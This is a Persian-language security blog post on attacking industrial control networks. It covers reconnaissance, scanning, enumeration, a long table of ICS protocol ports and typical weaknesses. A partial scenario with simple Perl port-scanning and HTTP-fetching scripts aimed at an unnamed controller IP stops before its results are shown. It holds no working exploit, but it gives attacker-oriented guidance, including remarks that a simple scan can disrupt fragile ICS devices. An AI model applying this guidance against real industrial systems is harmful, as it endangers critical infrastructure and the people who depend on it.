پیشگو

نشود فاش کسی آنچه میان من و توست

پیشگو

نشود فاش کسی آنچه میان من و توست

پیشگو

تا نگردی آشنا زین پرده رمزی نشنوی
گوش نامحرم نباشد جای پبغام سروش

این وبلاگ محلی برای به اشتراک گذاری نوشته های من در مورد امنیت و مسائل مربوط به اون هست

-استفاده از مطالب تنها با ذکر منبع آزاد است

نفوذ به شبکه های صنعتی

mohammad reza | يكشنبه, ۹ اسفند ۱۳۹۴، ۱۰:۰۳ ب.ظ

امروزه با گسترش علوم رایانه ایی و استفاده از آن در بخش های مهم دنیای ما ، نظارت و کنترل فرایندهای تولیدی واحدهای صنعتی نیز از این قافله عقب نمانده و استفاده انواع فناوری های پیشرفته IT در آن ها باعث پیشرفت های بسیاری شده است . اما علاوه بر استفاده از مزیت های تلفیق فناوری های کنترل صنعتی و IT چالش های آن ها نیز قابل توجه است . همان گونه که فناوری های مبتنی بر IT دارای ضعف های امنیتی بسیاری هستند ، استفاده از آن ها در قلمرو صنعتی دلیل بر کاهش این آسیب پذیری ها نیست و این فناوری  ها همچنان مشکلات موجود در معماری شان را با خود حمل میکنند.


همچنین در کشور ما توجه زیادی به این بخش نشده و از آنجا افراد شاغل در این زمینه از دانش کافی در مورد امنیت شبکه برخوردار نیستند ، میتواند در دراز مدت مشکلات زیادی را برای صنایع داخلی به همراه داشته باشد .

چند روز پیش خبری روی خروجی خبرگزاری رویترز قرار گرفت که خبر از حمله سایبری ایالات متحده به زیر ساخت های هسته ایی جمهوری خلق کره داشت . به گفته رویترز این حمله همانند حملات سایبری به ایران بوده اما بطور اختصاصی برای کره شمالی طراحی شده بود . اما نکته جالب این جاست که بر خلاف ایران ، حمله آن ها به کره شمالی ناموفق بوده است !

از آن جا که در کشورمان شاهد ارائه ده ها و یا شاید صدها محصول بومی امنیت سایبری توسط متخصصان داخلی هستیم ، باید دید که مشکل از کجاست که چنین بدافزاری پس از دو سال فعالیت در شبکه های کشور و ورود به نیروگاه های اتمی ، توسط یک شرکت گمنام درجه چندم در خارج از کشور شناسایی شده و متخصصان داخلی از شناسایی آن عاجز بودند .

البته در این مقاله در مورد امنیت در این شبکه ها صحبت نمیکنیم و طبق روال همیشگی مجله از منظر نفوذ این مبحث را مورد مطالعه قرار میدهیم .

 

چه کسانی بدنبال نفوذ به شبکه های صنعتی هستند ؟

شبکه های صنعتی تفاوت های بسیاری با شبکه های سازمانی دارند . و به همین دلیل مهاجمین آن ها نیز متفاوت هستند . چه کسی ممکن است بخواهد در عملکرد یک سامانه کنترل صنعتی اختلال ایجاد کند ؟ واقعیت اینجاست که نفوذ به شبکه های صنعتی کار سختی نیست ، اگرچه نیاز به دانش تخصصی و یک تیم از افراد با تخصص های مختلف دارد که به طبع نیازمند منابع مالی زیادی هستند . نفوذ به یک شبکه صنعتی به تنهایی برای مهاجم منفعت مالی ندارد . خبر بد اینجاست که مهاجمین بسیاری با پشتیبانی های خاص در کمین شبکه های صنعتی هستند .


در اینجا به چند مورد از مهم ترین موارد از بین آها اشاره میکنیم

- کارمندان و مدیران تازه اخراج شده و صاحبان شرکت هایی که از نظر فنی رقیب محسوب میشوند

- تبهکاران سایبری با اهداف باج گیری و یا صدمه زدن

- نویسندگان بدافزار ها و جاسوس افزارها

- سرویس های اطلاعاتی بیگانه ، با اهداف جاسوسی و جمع آوری اطلاعات

- تروریست ها ، به منظور تخریب زیرساخت های حیاتی

- جاسوس های صنعتی ، که با هدف ربودن تکنولوژی از شرکت ها و کشورهای پیشرفته تر دست به این گونه اقدامات میزنند

 

 

 

فرآیند حمله

روش ها و تکنیک های پایه ایی در " identify, enumerate , penetrate " اغلب در چارچوب شبکه های اترنت و (TCP/IP) مورد بحث قرار میگیرند . با این حال، در شبکه های صنعتی، روش ها یکسان اند اما تکنیک ها به طرز ماهرانه ایی متفاوت هستند . نقاط ورود و بردارهای حمله به یک سیستم صنعتی،آسیب پذیری های سیستم های صنعتی، دستگاه ها و پروتکل ها  و اکسپلویت هایی که برای آن ها طراحی میشوند باید بخوبی درک شوند . اگر شبکه های تجاری بخوبی در دسترس هستند ، در عوض نفوذ به آن ها کار نسبتا سختی است . زیرا آن ها روزانه تهدیدهای آنلاین بسیاری را دفع میکنند و نسبت به بخش زیادی از آن ها آگاه هستند . اما بر عکس شبکه های تجاری ، شبکه های صنعتی در دسترس نیستند اما به محض این که کوچکترین اطلاعاتی از آن ها بدست بیاید میتواند نقطه ورود به کل شبکه باشد .

 

Reconnaissance

شناسایی اولیه، و یا "foot printing" از یک هدف ، مهاجم را قادر می سازد درک درستی از  وضعیت امنیتی سازمان مورد نظر بدست آورد . با یک  تحقیق درست بر روی هدف ، مهاجم می تواند اطلاعات مربوط به شرکت و کارکنان آن ، شبکه های داخلی ، خارجی و دامنه  ، و نقاط ورود بالقوه به این شبکه ها را استخراج کند .

بسیاری از سرویس های اینترنت و موتور های جستجو میتوانند برای foot printing استفاده شوند . بسیاری از شرکت ها آشکارا اطلاعاتی را در مورد شرکا ، اعضای شرکت ، و حتی وبلاگ کارمندان منتشر میکنند که هر کدام از این ها میتواند یک راه ورود باشد .

هر گونه اطلاعاتی که می تواند به دست آید مهم است زیرا می تواند یک نقطه ورود به شبکه را شناسایی کند ، یا ممکن است به طور مستقیم برای عملیات مهندسی اجتماعی بکار گرفته شود

هنگامی که دستگاهی در شبکه شناسایی میشود ، می توان برای به دست آوردن جزئیات بیشتر  آن را مورد بررسی دقیق قرار داد ، مانند استفاده از ابزار traceroute برای یافتن روتر ها ، فایروال ها و سایر دستگاه هایی که ممکن است در طول مسیر تا هدف مورد نظر وجود داشته باشند .

 

Scanning

پویش  شبکه به طور معمول با تلاش گسترده ای برای شناسایی دستگاه ها و میزبان های شبکه با استفاده از سرویس ping آغاز می شود . سپس با استفاده از قابلیت های بیشتر پروتکل کنترل پیام اینترنت (ICMP)  برای تعیین اطلاعات بیشتر ، از جمله تعیین network mask ، همچنین پورت های باز TCP و UDP ( که شما را قادر میسازد سیستم عامل و سرویس های فعال روی ماشین هدف را شناسایی کنید ) استفاده میشود .

ابزارهای بسیاری برای این منظور ساخته شده اند که از معروف ترین آن ها میتوان به nmap اشاره کرد .

 

Enumeration

فرآیند استخراج نام های کاربری، نام سیستم ها، منابع شبکه ، سرویس ها و منابع به اشتراک گذاشته شده از یک سیستم را Enumeration گویند. در مرحله Enumeration مهاجم اتصالی فعال به سیستم برقرار کرده و درخواست های مستقیم برای بدست آوردن اطلاعات بیشتر درباره هدف ارسال میکند. مهاجم از اطلاعات جمع آوری شده برای شناسایی آسیب پذیری ها و یا نقاط ضعف موجود در سیستم امنیتی استفاده میکند و سپس سعی میکند از آن ها سوء استفاده نماید. تکنیک های تعریف شده برای Enumeration همگی در محیط اینترانت و شبکه داخلی مورد استفاده قرار میگیرند و اساسا محیط عملیاتی درباره مبحث Enumeration یک شبکه محلی است .

ایده این کار بدین خاطر است که در صورتی که با نقاط ورودی در شبکه روبرو شویم که بسته هستند ، پیدا کردن یک نام کاربری برای ورود به آن میتواند گره گشا باشد . هنگامی که یک نام کاربری شناسایی شود ، رمز عبور آن را میتوان با استفاده از brute-force یا اطلاعات بدست آمده از ترافیک ضبط  شده شبکه ، حدس زد .

 

نفوذ به شبکه های صنعتی

در حالی که میتوان روش های پایه تست نفوذ در شبکه را در شبکه های صنعتی نیز بکار برد ، اما در هر کدام از مراحل آن نکات بیشتری  وجود دارد . چون سیستم های کنترل صنعتی از سامانه ها و پروتکل های اختصاصی استفاده میکنند ، افق های جدیدی را برای یک مهاجم فراهم میکنند . به هر حال روش های نفوذ به شبکه های سازمانی به قوت خود باقی هستند ، اما داشتن مهارت در ارائه سطح بالاتری از حملات میتواند مزیت بزرگی برای یک مهاجم باشد .



 

با این حال اگر شبکه های صنعتی بخوبی ایزوله شده باشند نفوذ به آن ها میتواند کار سختی باشد . ایجاد منطقه امن و محافظت شده و یک طرح مشخص بین کسب و کار ، سیستم های نظارتی ، و سیستم عامل ها لایه های بیشتری را فراهم میکنند که یک مهاجم باید قبل از رسیدن به مهم ترین و آسیب پذیر ترین سیستم ، آن ها را بررسی کند .  یک بار که مهاجم بخش های محافظت شده را مورد تست نفوذ قرار دهد ، باید ادامه راه برای رسیدن به سیستم های کنترلی را شناسایی کنند .


Reconnaissance در شبکه های  صنعتی

شبکه ها ، پروتکل ها، دارایی ها، و سامانه های  صنعتی بطور اختصاصی ساخته شده اند . آن ها معمولا در دسترس عموم قرار ندارند . با این حال ، مهاجمی که قصد حمله به یک سیستم صنعتی را دارد باید بر روی جمع آوری اطلاعات و شناسایی این سامانه های اختصاصی متمرکز شود .

همانند روش های سنتی در شبکه ها ، Reconnaissance در شبکه های  صنعتی هم میتواند با جمع آوری داده های عمومی در مورد دستگاه های مورد استفاده یک شرکت ، شرکای تجاری ، فرآیند کاری اعضای شرکت و سرویس های مورد استفاده آن ها آغاز شود . از آنجا که بسیاری از تولیدکنندگان از پروتکل های صنعتی مختلف و بعضا اختصاصی استفاده میکنند ، دانستن دارایی های اختصاصی مورد استفاده سامانه کنترل ، میتواند به مهاجم اطلاع دهد که بدنبال چه نوعی از سیستم ها ، دستگاه ها و پروتکل ها است . با این حال، با درک دستگاه های مورد استفاده در سامانه کنترل مهاجم قادر است آسیب پذیری های شناخته شده را روی آن ها آزمایش کند ، و یا تحقیقاتی در مورد راه های میان بر به منظور کشف آسیب پذیری ها یا در های پشتی ، داشته باشد . به عنوان مثال، در مورد استاکس نت، یک فرایند احراز هویت برای به دست آوردن دسترسی به PLC های هدف ، مورد استفاده قرار می گرفت .

این قبیل اطلاعات معمولا برای گروه های خرابکار بزرگ ( دولتی یا خصوصی ! ) بسیار جالب هستند و هم اکنون بخش زیادی از آن ها در بازار سیاه برای فروش قرار گرفته اند .

 

پویش شبکه های صنعتی

همان طور که پیش تر اشاره کردیم، یک پویش شبکه میتواند میزبان ها ، پورت ها و سرویس های مورد استفاده توسط میزبان ها را شناسایی کند. در شبکه های صنعتی، پویش شبکه نیز در بیشتر موارد به همین شکل صورت می پذیرد. نتیجه یک پویش خوب میتواند به سرعت ارتباطات  [1]SCADA و  [2]DCS را شناسایی کند ، که به مهاجم اجازه میدهد روی آن ها متمرکز شود. بطور مثال اگر پورت 502 روی دستگاهی باز باشد بدین معنی است که از پروتکل Modbus استفاده میکند و بنابراین به احتمال بسیار زیاد یک سیستم  [3]HMI و یا برخی ایستگاه های نظارتی که با HMI ارتباط دارند ، در آن جا وجود دارند.


با کمی خلاقیت میتوانید ابزار اختصاصی خودتان برای بررسی پورت هایی که در سامانه های کنترل صنعتی استفاده میشوند را بنویسید. همچنین، در جدول زیر میتوانید لیست پورت هایی که سرویس های صنعتی از آن ها استفاده میکنند را ملاحظه کنید.


port Protocol
TCP/502 Modbus TCP
TCP/UDP/1089 Foundation Fieldbus HSE
TCP/UDP/1090 Foundation Fieldbus HSE
TCP/UDP/1091 Foundation Fieldbus HSE
TCP/UDP/1541 Foxboro/Invensys Foxboro DCS Informix
UDP/2222 EtherNet/IP
TCP/3480 OPC UA Discovery Server
TCP/UDP/4000 Emerson/Fisher ROC Plus
UDP/5050 to 5051 Telvent OASyS DNA
TCP/5052 Telvent OASyS DNA
TCP/5065 Telvent OASyS DNA
TCP/5450 OSIsoft PI Server
TCP/10307 ABB Ranger 2003
TCP/10311 ABB Ranger 2003
TCP/10364 to 10365 ABB Ranger 2003
TCP/10407 ABB Ranger 2003
TCP/10409 to 10410 ABB Ranger 2003
TCP/10412 ABB Ranger 2003
TCP/10414 to 10415 ABB Ranger 2003
TCP/10428 ABB Ranger 2003
TCP/10431 to 10432 ABB Ranger 2003
TCP/10447 ABB Ranger 2003
TCP/10449 to 10450 ABB Ranger 2003
TCP/12316 ABB Ranger 2003
TCP/12645 ABB Ranger 2003
TCP/12647 to 12648 ABB Ranger 2003
TCP/13722 ABB Ranger 2003
TCP/UDP/11001 Johnson Controls Metasys N1
TCP/12135 to 12137 Telvent OASyS DNA
TCP/13724 ABB Ranger 2003
TCP/13782 to 13783 ABB Ranger 2003
TCP/18000 Iconic Genesis32 GenBroker (TCP)
TCP/UDP/20000 DNP3
TCP/UDP/34962 PROFINET
TCP/UDP/34963 PROFINET
TCP/UDP/34964 PROFINET
UDP/34980 EtherCAT
TCP/38589 ABB Ranger 2003
TCP/38593 ABB Ranger 2003
TCP/38000 to 38001 SNC GENe
TCP/38011 to 38012 SNC GENe
TCP/38014 to 38015 SNC GENe
TCP/38200 SNC GENe
TCP/38210 SNC GENe
TCP/38301 SNC GENe
TCP/38400 SNC GENe
TCP/38600 ABB Ranger 2003
TCP/38700 SNC GENe
TCP/38971 ABB Ranger 2003
TCP/39129 ABB Ranger 2003
TCP/39278 ABB Ranger 2003
TCP/UDP/44818 EtherNet/IP
TCP/UDP/45678 Foxboro/Invensys Foxboro DCS AIMAPI
UDP/47808 BACnet/IP
TCP/50001 to 50016 Siemens Spectrum Power TG
TCP/50018 to 50020 Siemens Spectrum Power TG
UDP/50020 to 50021 Siemens Spectrum Power TG
TCP/50025 to 50028 Siemens Spectrum Power TG
TCP/50110 to 50111 Siemens Spectrum Power TG
UDP/55000 to 55002 FL-net Reception
UDP/55003 FL-net Transmission
TCP/UDP/55555 Foxboor/Invensys Foxboro DCS FoxAPI
TCP/56001 to 56099 Telvent OASyS DNA
TCP/62900 SNC GENe
TCP/62911 SNC GENe
TCP/62924 SNC GENe
TCP/62930 SNC GENe
TCP/62938 SNC GENe
TCP/62956 to 62957 SNC GENe
TCP/62963 SNC GENe
TCP/62981 to 62982 SNC GENe
TCP/62985 SNC GENe
TCP/62992 SNC GENe
TCP/63012 SNC GENe
TCP/63027 to 63036 SNC GENe
TCP/63041 SNC GENe
TCP/63075 SNC GENe
TCP/63079 SNC GENe
TCP/63082 SNC GENe
TCP/63088 SNC GENe
TCP/63094 SNC GENe
TCP/65443 SNC GENe


 

با این حال، در هنگام پویش شبکه های صنعتی نکاتی وجود دارد. از آنجا که بسیاری از پروتکل های شبکه های صنعتی بطور فزاینده ایی به  تاخیر حساس هستند، یک پویش سنگین میتواند آن ها را از کار بیاندازد. نکته اینجاست، اگر هدف اخلال در سرویس ها باشد، تمام چیزی که نیاز دارید یک پویش شبکه ساده برای رسیدن به هدفتان است. پویش از طریق یک فایروال کار ساده ایی است، بدین معنی که اگر پروتکل های فعال فقط از طریق یک فایروال محافظت میشوند، بسیار مستعد یک حمله تکذیب سرویس با متد های ساده هستند. فایروال ها تمامی ترافیک ها را مسدود نمیکنند و بخشی از آن ها را میپذیرند، کافی است مهاجم این بخش ها را شناسایی کند و حجم زیادی از ترافیک را روانه آن ها سازد. اگر هدف مهاجم پیچیده تر باشد، پویش شبکه باید با حساسیت بیشتری انجام شود . بدین معنی که مهاجم باید از روش های هوشمندانه بهره ببرد. یک پویش موفق میتواند سیستم های SCADA و DCS را با فیلتر کردن پویش پورت های خاص آن ها ، شناسایی کند.

بخاطر داشته باشید که جدول مورد اشاره در واقع لیست کاملی از تمام سامانه های کنترل صنعتی نیست و شرکت های بسیاری وجود دارند که پورت ها و سرویس های خاص خودشان را دارند. بنابراین پس از شناسایی پورت ها مهاجم باید اطلاعات منتشر شده روی آنها را جمع آوری کرده و سرویس های پشت آن را شناسایی کند.

 

Enumeration  در شبکه های صنعتی

از آنجا که بسیاری از سیستم های صنعتی مبتنی بر ویندوز هستند، حساب های کاربری ویندوز می توانند اهداف مناسبی برای کسب اطلاعات باشند. به خصوص در سامانه های OPC [4] که با ویندوز کار میکنند، دریافت تأیید اعتبار به میزبان اجازه می دهد تا کنترل کامل سامانه را در دست بگیرد.  با وجود عدم احراز هویت در پروتکل های زیربنایی شبکه ، enumeration میتواند سبب کسب اطلاعات و روش های مورد استفاده یک سامانه کنترل شود. اطلاعات مفید احراز هویت ممکن است در بخش های زیر وجود داشته باشند:

کاربران HMI

اعتبارات سرور ICCP

آدرس نود های Master ( برای هر نوع پروتکل صنعتی از Master / Slave )

پایگاه داده اطلاعات کاری کارمندان

 

دسترسی به HMI  کنترل مستقیم بر فرآیندهای مدیریت HMI و یا سرقت اطلاعات مربوط به آن را فراهم میکند. به دست آوردن اعتبار سرور ICCP اجازه جعل سرور و سرقت یا دستکاری ارتباطات رد و بدل شده بین مراکز کنترل را میدهد. اگر آدرس یک نود Master بدست بیاید، مهاجم میتواند این نود را جعل کرده و بدون دسترسی به سیستم های HMI بر فرآیند کنترل مسلط شود . در بسیاری از موارد، شغل و امتیازات کاربر به طور متمرکز در یک سرور LDAP یا Active Directory ذخیره شده است ، که میتواند نقطه شروع خوبی برای enumeration باشد.

آسیب پذیری های معمول

علاوه بر شناسایی راه های نفوذ به یک شبکه صنعتی ، درک آسیب پذیری های مرتبط با این شبکه ها میتواند مزیت بزرگی برای یک مهاجم باشد. در حالی که بسیاری از آسیب پذیری ها از باگ های نرم افزاری در برنامه ها یا پروتکل های شبکه مشتق شده اند، سایر آسیب پذیری ها از ضعف در سیاست ها و شیوه های امنیتی ، طراحی ضعیف شبکه و سایر فاکتورهای قابل اشاره بوجود می آیند.

برخی از این آسیب پذیری ها، شامل پیکربندی ضعیف فایروال، احراز هویت ضعیف، دسترسی مدیریت نشده به شبکه و آسیب پذیری های دسترسی از راه دور ، می شوند.

پیکربندی ضعیف فایروال

پیکربندی ضعیف فایروال سرآغاز بزرگترین حملات به هر شبکه ایی است ، زیرا فایروال ها همچنان به عنوان مهم ترین ( و در برخی موارد تنها ترین ) روش دفاع سایبری بکار میروند .این گونه ضعف ها معمولا ناشی از اجازه دادن به ترافیک های ورودی به شبکه است که دیگر در حال استفاده نیستند ( اما میتوانند توسط یک مهاجم برای کارهای خرابکارانه مورد استفاده قرار بگیرند ) . این موارد همچنین میتوانند ناشی از درک اشتباه از نحوه پیکربندی قوانین فایروال باشند ، بطور مثال بسیاری از قوانین فایروال ها فقط شامل ترافیک ورودی به شبکه هستند و هرگونه ترافیک خروجی از شبکه را به حال خود رها میکنند . در حالی که این امر به سادگی میتواند برای روش های سنتی دور زدن فایروال ها و یا نصب جاسوس افزار ها و ارتباط با بیرون از شبکه توسط مهاجم بکار گرفته شود .


 

پورت ها و سرویس های غیر ضروری

 [5]NERC CIP و سایر استاندارها ، افشای تمام پورت های باز و سرویس ها و دارایی های سایبری را ممنوع کرده، و توصیه میکنند هر پورت یا سرویس بلا استفاده یا غیر ضروری، غیرفعال و یا بسته شوند. با نگاهی به پیچیدگی های پیکربندی فایروال میتوان دلیل آن را دریافت. هر پورت یا سرویس باز که یک ارتباط شبکه را نشان دهد میتواند برای مقاصد خرابکارانه بکار رود ، و به عنوان مثال ازدیاد تعداد پورت ها و سرویس های باز یک سیستم، بطور مستقیم بر روی افزایش پیچیدگی قوانین فایروال ، IDS/IPS و پیکربندی سایر دستگاه های امنیتی تاثیر گذار است. با افزایش پیچیدگی قوانین در محصولات  امنیتی، احتمال خطا در آن ها نیز افزایش می یابد که باعث بوجود آمدن آسیب پذیری در شبکه میشود.

درهای پشتی برنامه ها

بسیاری از برنامه های تجاری و برنامه های مربوط به سامانه های کنترل از پایگاه داده استفاده میکنند، و پایگاه داده نیز نسبت به حملات مربوطه بسیار آسیب پذیر است ، مگر این که به درستی پیکربندی شود. با استفاده از حمله تزریق sql مهاجم می تواند کنترل  پایگاه داده و سپس سرور آن را به دست بگیرد.  در بسیاری از سامانه های کنترل اطلاعات بین شبکه SCADA و شبکه تجاری رد و بدل میشوند. بسیاری از سامانه های OPC از پایگاه داده های محلی استفاده میکنند که ممکن است باعث شود یک مهاجم به سرعت کنترل سیستم هایی در محدوده شبکه های SCADA و یا خود سامانه کنترل را بدست گیرد.

علاوه بر این برخی میان افزارهای موجود برای روی دستگاه های کنترل صنعتی، شامل در های پشتی مخفی هستند که با مهندسی معکوس آن ها میتوان به طریقه فعال کردن آن ها دست یافت. این ارتباطات معمولا در بستر شبکه و  ( به عمد یا غیر عمد ) راه های میان بری هستند که در مواقع بحرانی کنترل دستگاه را در اختیار کاربر راه دور قرار میدهند.

دسترسی  Wi-Fi

شبکه های بی سیم خطرات قابل توجهی را از طریق آسیب پذیری های مربوط به معماری شبکه بوجود می آورند. اولین دلیل این است که شبکه های بی سیم به راحتی در دسترس هستند ، مخصوصا که روش های نفوذ به این شبکه ها بسیار محبوب شده اند و براحتی در فضای اینترنت قابل دسترسی هستند. مهاجم با نفوذ به یکی از این شبکه ها و راه اندازی انواع حملات مرد میانی میتواند دسترسی های عمیقی برای خود مهیا کند.

 

نفوذ مستقیم به قلب شبکه های صنعتی

بدیهی است که تفاوت اصلی بین یک شبکه تجاری با شبکه صنعتی از طریق دستگاه های اختصاصی موجود در آن ها مشخص میشود. در اکثر نفوذها هدف اصلی ، کنترل کننده های صنعتی هستند که با استفاده از آن ها پیکربندی زیرساخت های حیاتی سامانه های مانیتورینگ و اتوماسیون صنعتی صورت میپذیرد. کنترلر یا کنترل کننده ها مغز متفکر سیستم های کنترلی می باشند. خروجی‌ها یا سیگنالهای اندازه گیری توسط ترانسمیتر به کنترلر، انتقال می ‌یابند تا کنترلر به کمک این اطلاعات و براساس تابعی که برای آن تعریف شده است، تصمیمات لازم برای عکس العمل مورد نیاز را بگیرد. کنترل کننده با مقایسه سیگنال اندازه گیری با مقدار مطلوب و انجام محاسبات لازم، مقادیر متغیرهای تنظیم شونده را تعیین می کند. ورودی کنترل کننده سنسورها وترانسمیترها وغیره وخروجی کنترل کننده ها کنترل ولوها و موتورها وغیره میباشد.

بطور کلی روش های تست کنترلر های صنعتی شامل موارد زیر است:

تست پایداری[6]

فازینگ یا تزریق دلخواه داده ها ، روند آزمایش استحکام کارایی، بوسیله تزریق داده های مخرب و یا داده های منتخب بستر تحت آزمایش و تجزیه و تحلیل نتیجه آن است .

بسته به استحکام برنامه آزمایش شده ممکن است اتفاقات زیر رخ دهد :

  • برنامه تحت آزمون داده های تزریق شده را نادیده می گیرد و به کارش ادامه میدهد
  • برنامه تحت آزمون داده های تزریق شده را نادیده می گیرد اما مصرف منابع افزایش می یابد. این امر میتواند موجب تحلیل رفتن سرویس ها و منابع شود که به آن تکذیب سرویس نیز میگوییم
  • برنامه تحت آزمون بخشی از داده های تزریق شده را اجرا میکند. این امر در اکثر مواقع منجر به توقف برنامه تحت آزمون شده و میتواند اجازه اجرای کدهای دلخواه را بدهد.

اساسا هر سرویسی که داده های ورودی را میپذیرد  میتواند تحت این آزمون استحکام  قرار بگیرد. بنابراین سرویس های معمول IT مانند HTTP ، FTP  و یا Ethernet میتوانند تحت عملیات فازینگ قرار بگیرند. علاوه بر این، پیاده سازی پروتکل های سیستم های کنترل صنعتی مانند Modbus/TCP میتوانند از این منظر تحت آزمون قرار بگیرند.

امنیت برنامه تحت وب

امروزه برخی سیستم های کنترل صنعتی مانند plcهای Schneider  از  HTTPسرور و برنامه های تحت وب پشتیبانی میکنند. بنابراین آن ها نیز نسبت به مشکلات  استاندارد امنیت وب ، آسیب پذیر هستند. بررسی برنامه های تحت وب در دنیای IT امری شناخته شده است، در نتیجه منابعی مانند OWASP Top 10 میتوانند بعنوان مرجعی برای ارزیابی آن ها در نظر گرفته شوند . ارزیابی های برنامه های تحت وب باید ترکیبی از آزمون های خودکار و دستی باشد تا بتوانند حداکثر پوشش و اثر بخشی را داشته باشند.

 

تحلیل میان افزار [7]

معمولا ، میان افزار دستگاه های ICS[8] را میتوان از وبسایت تولیدکنندگان آن ها دریافت کرد. اگر میان افزار رمزگذاری نشده باشد، با کمی تلاش میتوان آن ها مهندسی معکوس کرد . بنابراین ، این امر میتواند منجر به یافتن مشکلات امنیتی شود ، بدون این که به دستگاه فیزیکی ics دسترسی داشته باشید. مخصوصا نام های کاربری و رمز های عبور حک شده[9] میتوانند با این روش شناسایی شوند. در برخی موارد روشی های دسترسی مستند سازی نشده مانند درهای پشتی نیز میتوانند از این طریق شناسایی شوند.

بارگزاری و دریافت منطق نردبانی [10]

منطق نردبانی معمولا برای اشاره به نرم افزاری که بر روی میان افزار plc اجرا میشود ، بکار می رود . این نرم افزار تصمیم می گیرد، بسته به مقادیر سنسورها و عملگرهای مکانیکی ، plc چه چیزی را اجرا کند. از آن جا یی که این نرم افزار برای کسب و کار بسیار حیاتی است ، فقط افراد تصدیق شده باید مجاز به ساخت و بارگزاری این برنامه ها در plc باشند . یک مهاجم نباید بتواند منطق نردبانی اختصاصی plc را دریافت کند و یا چیزی را بارگزاری نماید.

مشکلات مربوط به ICS

در حالی که امنیت یک دستگاه ics را ارزیابی میکنید ، بسیار مهم است که مشکلات مختص ics ها را نیز شناسایی کنید. دستورالعمل های سخت سازی بیهوده نیستند اما نرم افزار باید از منظر یک مهاجم تجزیه و تحلیل شود. یکی از سناریو های آزمون میتواند این گونه باشد: " اگر این امکان وجود دارد که بتوان منطق نردبانی را از راه دور تغییر داد ، آیا HMI میتواند به عنوان یک منبع قابل اعتماد از اطلاعات در نظر گرفته شود ؟ اگر  HMI قابل اعتماد نیست، این امر میتواند بعنوان یک مشکل امنیتی در نظر گرفته شود.

امنیت نرم افزار کنترل

دستگاه هایICS مانند PLC ها معمولا از طریق کنترل و یا نرم افزار های برنامه نویسی، پیکربندی، به روز رسانی و عملیاتی میشوند که به یک رایانه تحت ویندوز متصل است . این نرم افزار کنترل و HMI ممکن است  دارای معایب امنیتی باشد که کل سامانه کنترل را در معرض خطر قرار دهد. به علاوه این ، نرم افزارهای کنترل باید بروزرسانی شوند و روند بروزرسانی نیازمند یه روش امن و قابل اعتماد است.

امنیت سیستم عامل نهفته [11]

امروزه plc ها اغلب از سیستم عامل های [12]COTS  مانند VxWorks بهره میبرند. VxWorks در بیش از یک میلیون از سامانه های نفهته بکار گرفته شده و در نسخه های قبلی آن آسیب پذیری های بحرانی  کشف شده است . بنابراین، امنیت سیستم عامل PLC نیز باید در نظر گرفته شود. علاوه بر این ، روند به روز رسانی سیستم عامل، که اغلب همان بروز رسانی میان افزار است باید تحت آزمون قرار بگیرد.

ویژگی های مستند سازی نشده

PLC ها ممکن است ویژگی های مستند سازی نشده مانند قابلیت دیباگ را ارائه دهند. پویش پورت های شبکه (تمام 65535 پورت TCP و  UDP  ) و اتصالات فیزیکی JTAG[13] میتوانند پورت های دیباگ موجود را نشان دهند که میتواند توسط هکرها اکسپلویت شود. همچنین درهای پشتی نصب شده توسط تولید کننده ، مانند نمونه های یافت شده بر روی دستگاه های RuggedCom ممکن است شناسایی شوند.

روند بروز رسانی میان افزار

Plc های مدرن دارای سیستم عامل هستند و نیازمند بروزرسانی به منظور اضافه کردن قابلیت های جدید و ترمیم مشکلات امنیتی هستند . انجام عملیات بروز رسانی سیستم عامل دستگاه های ICS یک امر مهم است زیرا دستگاه فقط باید بروزرسانی های قانونی را بپذیرد . بنابراین روند بروز رسانی میان افزار باید تحت بررسی قرار بگیرد . ابتدا باید بررسی شود که چگونه میان افزار در دستگاه  بارگزاری میشود و این که آیا ممکن است میان افزارهای دست کاری شده را بر روی آن بارگزاری کرد یا خیر ؟ . در مرحله دوم باید نگاهی به مسیر توزیع میان افزار داشته باشید ( بطور مثال وبسایت شرکت سازنده ) . این مسیر مسئول ارائه نسخه های مورد تایید و تصدیق شده میان افزار است. تصور کنید اگر یک مهاجم به این وبسایت دسترسی پیدا کند و نسخه ویرایش شده خودش را به جای نسخه اصلی شرکت در وبسایت بارگزاری نماید !

مشاهدات بیشتر

علاوه بر این دستورالعمل ها ، تمام اطلاعاتی که میتوانند از plc بدست آیند باید بررسی شوند . بطور مثال ممکن است سرور HTTP سرویس های بیشتری را از طریق درخواست های XML/SOAP ارائه کند، و یا سرور FTP ممکن است اطلاعات محرمانه ایی را برای دسترسی به خدمات بیشتر از plc در خود ذخیره کرده باشد.

یک سناریو عملی

در این بخش جزییاتی از مراحل نفوذ به یک کنترل کننده صنعتی را ارائه میکنیم . اقدامات اولیه در پویش این شبکه و پیدا کردن این کنترل کننده صنعتی به منظور کوتاه تر شدن مقاله حذف شده است .

بنابراین مجموعه اقداماتی که بر روی IP بدست آمده ازین دستگاه انجام شده را ارائه میکنیم .

برای  بررسی پورت های باز روی این ip از یک پورت اسکنر ساده استفاده کردم که کد آن را مشاهده میکنید :

#!/usr/bin/perl

#Offsec Security Research Group

#Www.offsec.ir

#By : Mohamadreza@offsec.ir

 

use IO::Socket;

 

$server = $ARGV[0];

$begin = $ARGV[1];

$end = $ARGV[2];

for ($port=$begin;$port<=$end;$port++) {

        $sock = IO::Socket::INET->new(PeerAddr => $server,

                                        PeerPort => $port,

                                        Proto => 'tcp');

        if ($sock)      {

                print "Connected on port $port\n";

        }

}

 

این پورت اسکنر طوری نوشته شده که یک بازه از پورت ها را دریافت کرده و اقدام به بررسی آن ها میکند. من از یک بازه معمولی برای بررسی استفاده کردم که نتایج جالبی داشت:

 

همان طور که مشاهده میکنید سه پورت روی این ip باز هستند که با توجه به کم بودن تعداد آن ها احتمالا مربوط به یک کنترل کننده صنعتی باشد . برای بررسی بیشتر میتوانیم اطلاعات هرکدام از سرویس ها را استخراج کنیم . قاعدتا سرویس اول http و سرویس سوم مربوط به پروتکل modbus هستند . اما سرویس دوم روی پورت 99 ناشناخته است .

شروع به بررسی سرویس اول روی پورت 80 میکنیم . من از برنامه زیر برای ارسال http request و نمایش نتایج آن استفاده کردم :

#!/usr/bin/perl

#Offsec Security Research Group

#Www.offsec.ir

#By : Mohamadreza@offsec.ir

 

use HTTP::Request;

use LWP::UserAgent;

$site = $ARGV[0];

if ( $site !~ /^http:/ ) {

$site = 'http://' . $site;

}

$req=HTTP::Request->new(GET=>$site);

$ua=LWP::UserAgent->new();

$ua->timeout(30);

$response=$ua->request($req);

print $response->as_string;

 

نتیجه اجرا :


 

